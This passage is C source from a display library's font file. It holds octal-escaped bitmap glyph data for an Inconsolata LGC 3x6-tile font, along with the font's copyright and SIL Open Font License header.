"\0\0\0\0\0\0\0\0\0\0\60\60p\360\340\340\300\200\200\200\300\300\300\300\0\0\0\0\0\0\0\0" "\0\6\16\216\206\207\207\203\203\207\237\77\375\371\360\300\0\0\0\0\200\360\370\374>\17\7\7\3\3\3\3" "\3\3\7\7\16\177\377\377\376\340\0\0\77\377\377\377\300\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377" "\377\37\0\0\0\0\3\7\17\17\36\34<\70\70\70\70<<\36\37\17\7\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360p\70\70\70x\360" "\340\300\200\200\200\340\360`\0\0\0\0\0\0\200\200\201\201\0\0\0\0\200\200\201\303\203\203\203\1\1\0" "\0\0\0\0\0\0\377\377\377\377\34\16\7\7\3\3\3\3\3\7\17\377\377\374\360\0\0\0\0\0\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0" "\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0p\370\370\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\200\200\200\201\203\217\207\202\200\0\0\0\0\0\0\0\0\200\360\370\374>\17\7\7\3\3\3\3" "\3\3\7\17\37~\376\370\360\200\0\0\77\377\377\377\300\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377" "\377\37\0\0\0\0\3\7\17\37\36\34<\70\70\70\70<\34\36\37\17\7\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340" "\370\370p\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\207\207\207\203\200\200\200\0\0\0\0" "\0\0\0\0\200\360\370\374>\17\7\7\3\3\3\3\3\3\7\17\37~\376\370\360\200\0\0\77\377\377\377" "\300\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\37\0\0\0\0\3\7\17\37\36\34<\70\70\70" "\70<\34\36\37\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\340\370||\370\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0" "\0\6\17\207\203\200\200\200\200\203\207\217\6\0\0\0\0\0\0\0\200\360\370\374>\17\7\7\3\3\3\3" "\3\3\7\17\37~\376\370\360\200\0\0\77\377\377\377\300\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377" "\377\37\0\0\0\0\3\7\17\37\36\34<\70\70\70\70<\34\36\37\17\7\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360x\70\70\70x\360" "\340\300\200\200\300\340\360@\0\0\0\0\0\0\0\0\1\0\0\200\200\200\200\200\201\203\203\203\3\1\0\0" "\0\0\0\0\200\360\370\374>\17\7\7\3\3\3\3\3\3\7\17\37~\376\370\360\200\0\0\77\377\377\377" "\300\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\37\0\0\0\0\3\7\17\37\36\34<\70\70\70" "\70<\34\36\37\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\360\360\360\340\0\0\0\0\340\360\360\360\340\0\0\0\0\0\0\0\0\0\0" "\0\1\1\201\200\200\200\200\200\200\201\201\1\0\0\0\0\0\0\0\200\360\370\374~\37\7\7\3\3\3\3" "\3\3\7\7\37~\376\370\360\200\0\0\77\377\377\377\300\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377" "\377\37\0\0\0\0\3\7\17\37\36\34<\70\70\70\70<\34\36\37\17\7\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0p\370\370\370p\0\0\0\0\0\0" "\0\0\0\0\0\0pppppppppppppppppp\0\0\0\0\0\0\0\0" "\0\0\0\0\0p\370\370\370p\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\340\300@\0\0\0\0\0\340\360\370|\36\16\17\7\7\7\207" "\347\377\177\37\37\177\371\360\340\0\0\0\177\377\377\377\200\0\200\300\360\374>\17\7\1\0\0\0\300\377\377" "\377\77\0\0\0\1\307\377\377~\77\77{ppppx\70<>\37\17\7\1\0\0\0\0\0\1\1" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20p\370\370" "\340\300\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0\0\0\0\1\7\7\7\0\0\200\200\200" "\200\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\0\0\0\0\0\0\7\17\37\37><\70\70\70" "\70\34\34\16\7\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\370p\0\0\0\0\0\0\0\0\0\0\200\200" "\200\200\0\0\0\0\7\7\7\1\0\0\0\200\200\200\200\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\200\377\377\377" "\377\0\0\0\0\0\0\7\17\37\37><\70\70\70\70\34\34\16\7\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360|" "\370\360\340\200\0\0\0\0\0\0\0\0\0\0\200\200\200\200\6\17\7\3\0\0\0\1\7\17\7\204\200\200" "\200\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\0\0\0\0\0\0\7\17\37\37><\70\70\70" "\70\34\34\16\7\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\340\360\360\360\340\0\0\0\0\340\360\360\360\340\0\0\0\0\0\0\0\200\200" "\200\200\1\1\1\0\0\0\0\0\0\1\1\201\200\200\200\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\200\377\377\377" "\377\0\0\0\0\0\0\7\17\37\37><\70\70\70\70\34\34\16\7\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300" "\360\370x\60\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0\0\0\6\7\7\3\1\0\0\0\0\200\200" "\200\200\0\0\0\1\7\77\377\376\360\300\0\0\0\0\0\0\0\0\340\374\377\77\17\1\0\0\0\0\0\0" "\0\3\37\177\376\370\300\0\0\340\370\377\77\17\1\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\377\377" "\377\77\17\1\0\0\0\0\0\0\0\0\70\37\17\3\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--44-440-72-72-P-201-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 95/658 BBX Build Mode: 3 */ const uint8_t u8x8_font_inr33_3x6_r[13684] U8X8_FONT_SECTION("u8x8_font_inr33_3x6_r") = " ~\3\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\360" "\360\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\7\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\17\17\17\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\36\77\77\77" "\77\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\340\360\360\340\0\0\0\0\0\340\360\360\340\0\0\0\0\0\0\0\0\0" "\0\0\377\377\377\377\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\0" "\0\0\0\0\300\300\300@\0\0\0\0\0\200\200\200\200\200\200\377\377\377\201\200\200\200\200\300\377\377\377\200" "\200\200\200\0\0\1\1\1\1\1\377\377\377\1\1\1\1\1\301\377\377\177\1\1\1\1\1\0\14\14\14\14" "\14\374\377\377\17\14\14\14\14\214\377\377\177\14\14\14\14\14\0\0\0\0\0\0\34\37\37\3\0\0\0\0" "\0\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\360\370" "\374\376\17\7\7\7\377\377\377\7\7\7\17\36>\34\10\0\0\0\0\0\1\7\17\37\36<\374\370\340\0\0 \70>\37\7\3\0\0\0\0\0" "\3\17\37<\70\70\70<\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0|" "\377\377\377\3\3\1\1\3\207\377\377\376x\0\0\0\0\0\0\0\0\0\0\200\301\347\357\177|\370\374\336" "\217\7\3\1\0\0\0\200\0\0\0\0\370\376\377\377\7\1\0\0\0\0\3\7\37\77\374\370\360\360\370\177" "\37\16\2\0\1\7\17\37\36<<\70\70\70<\34\36\17\17\7\3\7\37\77\36\30\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360" "\360\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\340\360p\0\0\0\0\0\0\0\0" "\0\0\0\0\300\360\370\376\77\37\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\360\377\377\377\7\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\377\377\377\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\3\17\77\177\376\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\1\3\7\17\37\36\374x`\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\370\0\0\0\0\0\0" "\0\0\0\0\0ppppppppp\377\377\377\377pppppppp\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0<~\376\376\374p\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0 x<\37\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\36\77\77\77\77\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\360\360\340 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\177\17\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\376\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0" "\0\300\360\374\377\77\17\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\370\376\77\17\3\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\340\370" "\374\376\37\17\7\3\1\1\1\3\3\207\377\376\374\360\300\0\0\0\0\376\377\377\377\0\0\0\0\300\340\360" "x\36\17\7\1\1\377\377\377\374\0\0\0\7\177\377\377\370\374\36\17\7\1\0\0\0\0\0\200\360\377\377" "\77\3\0\0\0\0\0\1\3\7\17\37\36<\70\70\70<\34\37\17\7\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300" "\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\14\16\16\17\7\7\7\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0\0\0\0\16" "\37\17\7\3\3\1\1\1\1\3\3\7\37\377\376\374\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\300\340\360\374\77\37\17\1\0\0\0\0\0\0\0\200\300\340\360\370<\36\17\7\3\1\1\0\0\0\0" "\0\0\0\0\0\0\70>\77\77;\71\70\70\70\70\70\70\70\70\70\70\70\70<\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300" "\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\2\7\7\3\3\1\1\1\1\1\3\7\17\377\376\374p" "\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70x||\376\357\347\307\201\0\0\0\0\0\0\0\0\0" "\200\0\0\0\0\0\0\0\0\0\0\201\377\377\377\376\0\0\0\0\0\0\4\17\37\36\34<\70\70\70\70" "<<\36\37\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\200\300\360\370>\17\377\377\377\377\0\0\0\0\0\0\0\0\0\200\340\360|>\17\7\1\0" "\0\0\377\377\377\377\0\0\0\0\0\0\0\34\37\37\37\35\34\34\34\34\34\34\34\34\377\377\377\377\34\34" "\34\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\377\377\377\377\1\1\1\1\1\1\1\1\1\1\1\1\1" "\0\0\0\0\0\0\0\77\177\77\77\34\16\16\16\16\16\36\36<\374\370\360\340\0\0\0\0\0\0\0\0" "\200\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\177\0\0\0\0\0\3\7\17\36\36\34<\70\70\70" "<<\34\36\17\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\340" "\370\374~\37\7\3\3\1\1\1\1\3\3\7\3\3\0\0\0\0\0\0\377\377\377\377p\70\34\36\16\16" "\16\16\36>|\370\360\340\200\0\0\0\0\0\37\377\377\377\300\0\0\0\0\0\0\0\0\0\200\377\377\377" "\177\0\0\0\0\0\0\0\3\7\17\37\36<\70\70\70<<\36\37\17\7\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\300\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\301\361\377\377\77\7\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\377\77\7\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\300\370\376\377\77\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\60>\77\77\17\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\360" "\374\376\377\17\3\3\1\1\1\1\3\3\17\377\377\374x\0\0\0\0\0\0\0\3\207\317\377\376|\70\70" "px\374\376\317\317\207\1\0\0\0\0\0\0\370\376\377\377\3\1\0\0\0\0\0\0\0\0\1\207\377\377" "\376\370\0\0\0\0\0\3\7\17\37\36<<\70\70\70\70<\34\36\37\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300" "\300\300\200\200\0\0\0\0\0\0\0\0\0\0\340\374\376\377\17\7\3\3\1\1\1\3\3\17\37\376\374\360" "\200\0\0\0\0\0\17\77\177\377\360\340\300\300\200\200\200\300\300\340p\377\377\377\377\0\0\0\0\0\0\0" "\0\0\1\1\3\3\3\3\3\3\1\0\340\377\377\177\17\0\0\0\0\0\0\14\36\36\34<\70\70\70\70" "<\34\36\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\36\77\77\77" "\77\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\36\77\77\77\77\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\36\77\77\77\77\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\34>>\376" "\376\374x\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\60\70\36\17\7\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\200\300\300\340\340\360px<<\36\36\0\0p\360\370\374\334\236\216\17\7\7\3\3" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\7\17\16\36<\70xp\360\340\340\300\200" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\17\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200" "\200\200\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\0\0\0\34\34\34" "\34\34\34\34\34\34\34\34\34\34\34\34\34\34\34\34\34\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0<\70xp" "\360\340\340\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7" "\16\16\34<\270\370\360\360\340\340\0\0\0\0\200\200\300\300\340\360\360x\70<\34\36\17\7\7\3\3\1" "\0\0\0\0\17\17\7\7\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\360\360pp" "p\360\360\340\340\300\200\0\0\0\0\0\0\0\3\7\7\3\1\0\0\0\0\0\0\0\0\1\203\377\377\377" "x\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\374>\37\17\7\7\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\17\17\17\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\36\77\77" "\77\77\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\300\360\374" ">\37\17\7\3\3\201\201\201\301\301\303\303\307\317\376\374\370\300\0\376\377\377\1\0\0\0\370\376\377\377\17" "\3\3\1\1\1\1\201\377\377\377\377\0\7\77\377\374\340\200\0\1\3\7\17\37\36\34\34\34\16\16\7\37" "\37\37\37\0\0\0\0\1\3\7\17\36\36\34<\70\70\70\70\70<\34\34\36\10\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\377\77\377\374\340\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\360\376\177\17\1\0\0\7\77\377\374\360\200\0\0\0\0\0\0\0\200\360\374" "\377\77\37\34\34\34\34\34\34\34\34\37\177\377\374\360\200\0\0\0<\77\77\17\1\0\0\0\0\0\0\0" "\0\0\0\0\0\1\17\77\77<\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\377\377\377" "\377\1\1\1\1\1\1\1\1\3\3\7\17\377\377\374\360\0\0\0\0\377\377\377\377\70\70\70\70\70\70\70" "\70x|\376\357\357\307\203\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\1\203\377\377" "\377x\0\0\0\77\77\77\77\70\70\70\70\70\70\70\70\70<\34\36\37\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300" "\300\300\300\200\200\200\0\0\0\0\0\0\0\340\360\374\376\77\17\7\3\3\1\1\1\1\3\3\7\17\37>" "\34\30\0\0\376\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\177\377\377" "\370\300\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0\0\0\0\1\3\7\17\17\36\34<\70\70" "\70\70\70<\34\36\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0\0\0\377\377\377" "\377\1\1\1\1\1\1\1\3\3\7\17\77\376\374\360\300\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\1\377\377\377\374\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377" "\77\3\0\0\0\77\77\77\77\70\70\70\70\70\70<<\34\36\17\17\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\300\300\0\0\0\0\377\377\377\377\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\377\377\377\377ppppppppppppp\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\70\70\70\70\70\70\70" "\70\70\70\70\70\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\0\0\0\377\377" "\377\377\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\0\0\0\0\0\377\377\377\377\70\70\70\70\70\70" "\70\70\70\70\70\70\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 